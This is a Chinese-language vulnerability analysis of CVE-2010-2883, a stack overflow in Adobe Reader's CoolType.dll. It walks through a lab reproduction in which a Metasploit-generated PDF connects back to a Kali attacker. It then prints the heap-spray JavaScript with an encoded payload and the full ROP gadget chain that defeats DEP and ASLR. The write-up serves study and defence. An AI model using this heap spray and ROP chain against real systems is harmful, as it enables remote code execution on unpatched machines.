CVE-2010-2883
漏洞简介
Adobe Reader的CoolType.dll库解析字体文件SING
表中的uniqueName
字段时存在栈溢出,可执行代码,影响Adobe Reader 9.4之前的9.x系列版本和Adobe Reader 8.2.5之前的8.x系列版本
漏洞复现
环境 | 说明 |
---|---|
Kali LInux | 攻击机,192.168.71.134:23333 |
WIndows 7 旗舰版 SP1 | 靶机 |
Adobe Reader 9.3.4 | 漏洞软件,版本号9.3.4 |
利用MSF生成exp,并监听192.168.71.134:23333,等待靶机连接
将exp放入靶机中运行,靶机上线
漏洞分析
PDF格式
参考:PDF 文档结构
PDF的组成
PDF文件由四部分组成:
- Header:头部,PDF文件第一行,用于标识版本信息
Body:主体,由一系列PDF对象组成
7 0 obj // 7 - 对象ID, 0 - 生成号,一般固定 << ........ // 对象内容, 如果其中要引用其他对象,则写成:8 0 R(引用8号对象,R代表引用) >> endobj
Xref table:交叉引用表,包含指向所有对象的文件偏移的列表
xref i j // 从i号对象开始,一共j个 nnnnnnnnnn ggggg N eol // n - 对象在文件中的偏移, g - 生成号, N - n/f(使用/空闲) nnnnnnnnnn ggggg N eol ...
- Trailer:包含文件的根节点信息和文件解析的起点信息
PDF文件的解析流程
- 读取文件末尾Trailer,获得根节点信息
- 通过根节点获得所有页面的对象集合
- 根据用户转到第几页,解析此页上所有的对象
- 通过渲染引擎将页面显示出来
由于此漏洞是与字体相关,找到在exp中有关字体描述的部分:
7 0 obj
<<
/Type /Font // 字体对象
/Subtype /TrueType // TrueType类型
/Name /F1
/BaseFont /Cinema // 基于Cinema字体
/Widths []
/FontDescriptor 9 0 R // 字体描述,引用了9号对象
/Encoding /MacRomanEncoding // MacRoman编码
>>
endobj
9 0 obj
<<
/Type /FontDescriptor // 字体描述对象
/FontName /Cinema // Cinema字体
/Flags 131140
/FontBBox [-177 -269 1123 866]
/FontFile2 10 0 R // 字体文件,引用10号对象
>>
将10号对象dump下来并查看
可得到TTF文件,解析其格式,注意:TTF文件以大端表示
// TTF文件开头是 OffsetTable 结构,后续跟着 EntryTable 结构数组
struct OffsetTable {
ULONG SFNT_Ver; // 版本
USHORT numTables; // 后续跟着多少个EntryTable
USHORT searchRange;
USHORT entrySelector;
USHORT rangeShift;
}
struct EntryTable {
union Tag { // 4字节的标识符,对于SING表,此值为 SING
char asChar[4];
ULONG asLong
};
ULONG checkSum; // 校验和,对于SING表,此值为 0xD9BCC8B5
ULONG offset; // 偏移,对于SING表,此值为 0x11C
ULONG length; // 长度,对于SING表,此值为 0x1DDF
}
根据SING表的数据,可以找到SING真实的数据,在文件偏移0x11C处,SING数据结构如下:
漏洞成因
CoolType.dll库对SING
表解析中对uniqueName
字段长度没做检查,导致栈溢出
用IDA静态分析,查找SING
表的Tag
标志,存在如下交叉引用
逐个查看,溢出点存在于sub_803DCF9
中,由于在strcat
字符串拼接操作时,没有对参数SingTable.uniqueName
长度进行检查,可以造成栈溢出
动态调试,执行完strcat
之后在目标缓冲区下内存访问断点
接着运行,最终会断在0x808B308
的call dword ptr [eax]
处,反推上方的大jmp
不会执行,必然在jnz
指令处会执行跳转
此时观察各寄存器的值,在call
之前edi
的值未改变,由edi
的值计算决定eax
的值
接着栈回溯,可知如下调用链:
sub_803DCF9
|- strcat - 栈溢出
|- sub_8016BDE
|- sub_801BB21
|- sub_808B116
| - 触发执行ShellCode
在sub_808B116中,栈溢出将dword ptr [edi + 0x3c]
所指向内存的内容替换了,而导致call dword ptr [eax]
正常流程被劫持
后续单步步入,执行ROP链,流程如下:
堆喷射在PDF对象11号中,引用了12号对象,为JavaScript脚本
将其dump下来查看
var payload = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%
// ... 中间省略 ...
4%u5e4c%u9e69%u5fed%u7ea0%u60b3%u5b47%u1a44%u5c28%udba5%u3920%udba6%u3f4c%u0d9b%u3575%u8dda%u46c2%ub369%ucd63%ue791%uc474' );
var block = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); // or al, 0x0c
while (block.length + 20 + 8 < 65536)
block += block;
/*
(0x0c0c - 0x24):
-0x20 -> 堆块信息
-0x4 -> payload前4字节是0x41414141
为了使payload + 0x4刚好落在每个堆块的0x0c0c偏移处
*/
SP = block.substring(0, (0x0c0c - 0x24) / 2); // 0 - 5F4
SP += payload; // payload.length = 0x2BC
SP += block;
slackspace = SP.substring(0, 65536 / 2);
while(slackspace.length < 0x80000)
slackspace += slackspace;
bigblock = slackspace.substring(0, 0x80000 - (0x1020 - 0x08) / 2); // 0 - 7F7F4
var memory = new Array();
for (count = 0; count < 0x1f0; count++) // 分配了0x1f0块大内存
memory[count] = bigblock + "s";
对每个申请的堆块进行填充,让其偏移0x0c0c
的位置刚好被payload + 0x4
处覆盖到
进入堆喷射代码,接着执行ROP链
; ....
; ....
; eax = CreateFileA
4A801F90 58 pop eax ; <&KERNEL32.CreateFileA>
4A801F91 C3 retn
; 调用 CreateFileA
4A80B692 - FF20 jmp dword ptr [eax] ; kernel32.CreateFileA
调用CreateFileA
创建了文件iso88591,访问属性为GENERIC_ALL(0x10000000)
,之后返回到icucnv36.4A801064
返回后进入ROP链
; ....
; ....
; eax = CreateFileMappingA
4A801F90 58 pop eax ; <&KERNEL32.CreateFileMappingA>
4A801F91 C3 retn
; 调用 CreateFileMappingA
4A80B692 - FF20 jmp dword ptr [eax] ; kernel32.CreateFileMappingA
创建文件映射对象,访问属性PAGE_EXECUTE_READWRITE(0x40)
,大小0x10000
,之后返回到icucnv36.4A801064
返回后进入ROP链
; ....
; ....
; eax = MapViewOfFile
4A801F90 58 pop eax ; <&KERNEL32.MapViewOfFile>
4A801F91 C3 retn
; 调用 MapViewOfFile
4A80B692 - FF20 jmp dword ptr [eax] ; kernel32.MapViewOfFile
创建映射视图,访问权限FILE_MAP_WRITE | FILE_MAP_EXECUTE (0x22)
,大小0x10000
,之后返回到icucnv36.4A801064
再次进入ROP链
; ....
; ....
; eax = memcpy
4A801F90 58 pop eax ; <&MSVCR80.memcpy>
4A801F91 C3 retn
; 调用 memcpy
4A80B692 - FF20 jmp dword ptr [eax] ; msvcr80.memcpy
执行memcpy
,将源缓冲区数据(ShellCode),拷贝到目标缓冲区中(前面文件映射出的缓冲区),之后返回到目标缓冲区首地址处执行ShellCode,以此绕过DEP
同时,ROP链存在于icucnv36.dll
库中,此库默认情况下的装载位置不会改变,也就绕过了ASLR
最后,MSF的exp如下:
stack_data = [
0x41414141, # unused
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx
0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as
0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)
# -- call CreateFileA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify
#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA)
# -- call CreateFileMappingA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # arguments to CreateFileMappingA, hFile
0x00000000, # lpAttributes
0x00000040, # flProtect
0x00000000, # dwMaximumSizeHigh
0x00010000, # dwMaximumSizeLow
0x00000000, # lpName
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile
# -- call MapViewOfFile
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # args to MapViewOfFile - hFileMappingObject
0x00000022, # dwDesiredAccess
0x00000000, # dwFileOffsetHigh
0x00000000, # dwFileOffsetLow
0x00010000, # dwNumberOfBytesToMap
0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer
0x4a802196, # mov [ecx],eax / ret - save map base addr
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr
0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
0x4a801f90, # pop eax / ret
0x00000034, # becomes eax
0x4a80d585, # add eax,edx / ret
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy)
# -- call memcpy
0x4a80b692, # jmp [eax]
0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst)
0xffffffff, # becomes second arg to memcpy (src)
0x00001000, # becomes third arg to memcpy (length)
#0x0000258b, # ??
#0x4d4d4a8a, # ??
].pack('V*')
漏洞修复
在Adobe Reader 9.4中,将strcpy
函数替换为了sub_sub_813391E
函数,内部使用了strncpy
,对缓冲区剩余长度进行了检查,并限定了缓冲区总长度为260个字节